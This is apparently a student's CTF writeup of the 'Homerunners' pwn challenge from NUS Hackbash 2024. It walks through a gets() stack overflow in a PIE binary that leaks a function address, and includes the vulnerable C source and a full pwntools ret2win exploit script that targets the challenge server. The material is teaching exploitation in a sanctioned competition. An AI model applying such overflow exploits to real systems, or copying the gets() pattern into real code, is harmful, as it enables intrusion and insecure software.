Hackbash'24 Writeup (Pwn)
After 2 long weekends, I qualified for the finals in NUS Hackbash 2024 x A.YCEP as a noob. Here is a writeup of the hardest challenge I solved in pwn.
Pwned!
During the event of the competition I spent 90% of my time on pwn challenges. Although I didn’t complete all of the challenges in that category :(, I had a great time and picked up a lot of debugging skills along the way which I will be noting down below.
Homerunners
The Homerunners challenge was by far the most painful one. But I did solve it eventually so lets talk about it.
Like most binary exploitation challenges, we always start with a checksec
so we know what kind of file we’re dealing with here.
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Downloads/Finals/homerun]
└─$ checksec ./chall
[*] '/home/kali/Downloads/Finals/homerun/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Just from a simple command we know what is possible when it comes to exploiting our script over here.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
char art[] =
"⣿⡇⣿⣿⣿⠛⠁⣴⣿⡿⠿⠧⠹⠿⠘⣿⣿⣿⡇⢸⡻⣿⣿⣿⣿⣿⣿⣿\n"
"⢹⡇⣿⣿⣿⠄⣞⣯⣷⣾⣿⣿⣧⡹⡆⡀⠉⢹⡌⠐⢿⣿⣿⣿⡞⣿⣿⣿\n"
"⣾⡇⣿⣿⡇⣾⣿⣿⣿⣿⣿⣿⣿⣿⣄⢻⣦⡀⠁⢸⡌⠻⣿⣿⣿⡽⣿⣿\n"
"⡇⣿⠹⣿⡇⡟⠛⣉⠁⠉⠉⠻⡿⣿⣿⣿⣿⣿⣦⣄⡉⠂⠈⠙⢿⣿⣝⣿\n"
"⠤⢿⡄⠹⣧⣷⣸⡇⠄⠄⠲⢰⣌⣾⣿⣿⣿⣿⣿⣿⣶⣤⣤⡀⠄⠈⠻⢮\n"
"⠄⢸⣧⠄⢘⢻⣿⡇⢀⣀⠄⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⡀⠄⢀\n"
"⠄⠈⣿⡆⢸⣿⣿⣿⣬⣭⣴⣿⣿⣿⣿⣿⣿⣿⣯⠝⠛⠛⠙⢿⡿⠃⠄⢸\n"
"⠄⠄⢿⣿⡀⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⡾⠁⢠⡇⢀\n"
"⠄⠄⢸⣿⡇⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⣫⣻⡟⢀⠄⣿⣷⣾\n"
"⠄⠄⢸⣿⡇⠄⠈⠙⠿⣿⣿⣿⣮⣿⣿⣿⣿⣿⣿⣿⣿⡿⢠⠊⢀⡇⣿⣿\n"
"⠒⠤⠄⣿⡇⢀⡲⠄⠄⠈⠙⠻⢿⣿⣿⠿⠿⠟⠛⠋⠁⣰⠇⠄⢸⣿⣿⣿";
// you don't have to be concerned about what this function does
// but this is the objective. if you call this function, you will get the flag.
void sweet_sweet_homerun() {
char flag[0x100];
int fd = open("flag.txt", O_RDONLY);
if (fd == -1) {
write(1, "An error has occurred. Contact an admin for help.\n", 50);
exit(-1);
}
read(fd, flag, 0x100);
close(fd);
write(1, flag, 0x100);
exit(0);
}
int main() {
int x;
int y;
char action[0x100];
// IGNORE THESE 2 LINES
setbuf(stdin, 0);
setbuf(stdout, 0);
x = (unsigned long long)sweet_sweet_homerun & 0xffffffff;
y = (unsigned long long)sweet_sweet_homerun >> 32;
puts("Softball isn't just about brute force. You need some accuracy too :)");
printf("Do you see the home plate at the coordinates (%d, %d)? Show me what you got!\n%s", x, y, art);
printf("\nAction: ");
gets(action);
puts("That went far...");
}
Off the bat, we can immediately identify the gets()
function used, which is vulnerable to buffer overflows. The script also has a sweet_sweet_homerun()
function that gives us our flag. However, the problem is that PIE is enabled. Now it isnt as straightforward as previous challenges.
PIE? Ke yi chi de ma?
PIE stands for Position Independent Executable and is one of the security mitigations deployed to prevent against buffer overflow attacks. One way to know that PIE is enabled is the checksec
command performed earlier, but we can also tell through the addresses in gdb.
Do
gdb -q chall
to access the debugger.
1
2
3
4
5
6
pwndbg> disass main
Dump of assembler code for function main:
0x00000000000012e3 <+0>: endbr64
0x00000000000012e7 <+4>: push rbp
0x00000000000012e8 <+5>: mov rbp,rsp
0x00000000000012eb <+8>: sub rsp,0x110
When addresses start looking this strange, we know that PIE is enabled and we can no longer jump directly using these addresses obtained from the debugger. So how can we jump to sweet_sweet_homerun
?
How to eat the PIE
Unfortunately (or maybe fortunately?), PIE isnt foolproof as its bigggest weakness is that it uses the same offset on every address (although that changes everytime the program is ran again). This means that with just one address exposed, we can calculate the true addresses of other functions within the program and jump around freely.
Looking at the script again, we can see that there is a line that actually prints out the address of sweet_sweet_hoemrun
.
1
2
3
4
5
x = (unsigned long long)sweet_sweet_homerun & 0xffffffff;
y = (unsigned long long)sweet_sweet_homerun >> 32;
puts("Softball isn't just about brute force. You need some accuracy too :)");
printf("Do you see the home plate at the coordinates (%d, %d)? Show me what you got!\n%s", x, y, art);
Just our luck! Although it is in decimal and has split the 16 byte address into upper and lower pieces, we can reverse the process easily with the use of pwntools.
In this challenge we did not have to calculate any offsets to obtain our true addresses as the address of
sweet_sweet_homerun
was provided. However if we needed to jump to a different function, we can usegdb
to find the offset (demonstrated above) and subtract the offset from the ever-changing exposed address ofsweet_sweet_homerun
on the stack, to calculate the base address of the program. In fact, it doesnt even have to be the address ofsweet_sweet_homerun
! As long as an address on a stack is exposed, it can be used to obtain the base address which allows the attacker to jump to any point in the program.
Sometimes, such challenges can be paired with other vulnerabilities (e.g. format string vuln) to expose a single address on the stack to be able to calculate the base address.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
# uncomment this line to connect to remote
# nc challs.nusgreyhats.org 61636
p = remote("challs.nusgreyhats.org", 55434)
# p = process("./chall")
coords = p.recvuntil("?").decode('utf-8')
start_index = coords.find('\n')
new_coords = coords[start_index:]
start_index = new_coords.find('(')
end_index = new_coords.find(')')
accurate_coords = new_coords[start_index:end_index]
print("EHHEHEHE:"+accurate_coords)
x_and_y = accurate_coords.replace('(', '').replace(')', '').strip().split(',')
x = int(x_and_y[0].strip().replace('-', '')) # Lower 32 bits
y = int(x_and_y[1].strip()) # Upper 32 bits
# Caluculation of Coordinates
address_1 = (y << 32) | x
print(address_1)
address = p32(y) + p32(x)
print(u64(address))
payload = b"A"*280
payload += p64(address_1) ## offset of sweet sweet homerun
print(payload)
p.sendline(payload)
p.interactive()
But..the buffer size?1
You might have noticed, “oh yea you did all that but in your payload you also had a buffer size of 280…how did you obtain that value so easily?”. Well, gdb and pwn tools make life easier.
We can first generate a cyclic sequence with pwntools to make debbuging easier.
1
2
❯ cyclic -n8 500
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
Running the challange into gdb and inputing what we generated into the input, we will crash the program and gdb will show up with a segmentation error as it tries to jump into a memory that doesnt exist on the stack.
1
► 0x5555555553a1 <main+190> ret <0x626161616161616b>
If we convert 0x626161616161616b
basck to ASCII it is kaaaaaab
backwards. This is why we use cyclic as we can immediately calculate the number of bytes to 0x626161616161616b
without all the manual effort.
1
2
3
┌──(kali㉿kali)-[~/Downloads/Hackbash2024/Finals/homerun]
└─$ cyclic -n8 -l 0x626161616161616b
280
And with that, the challenge is solved!!
Special Thanks
Elma (caprinux) for cheatsheet2 and mentoring, the entire Hackbash 2024 team and finally, my teammates in Team 8.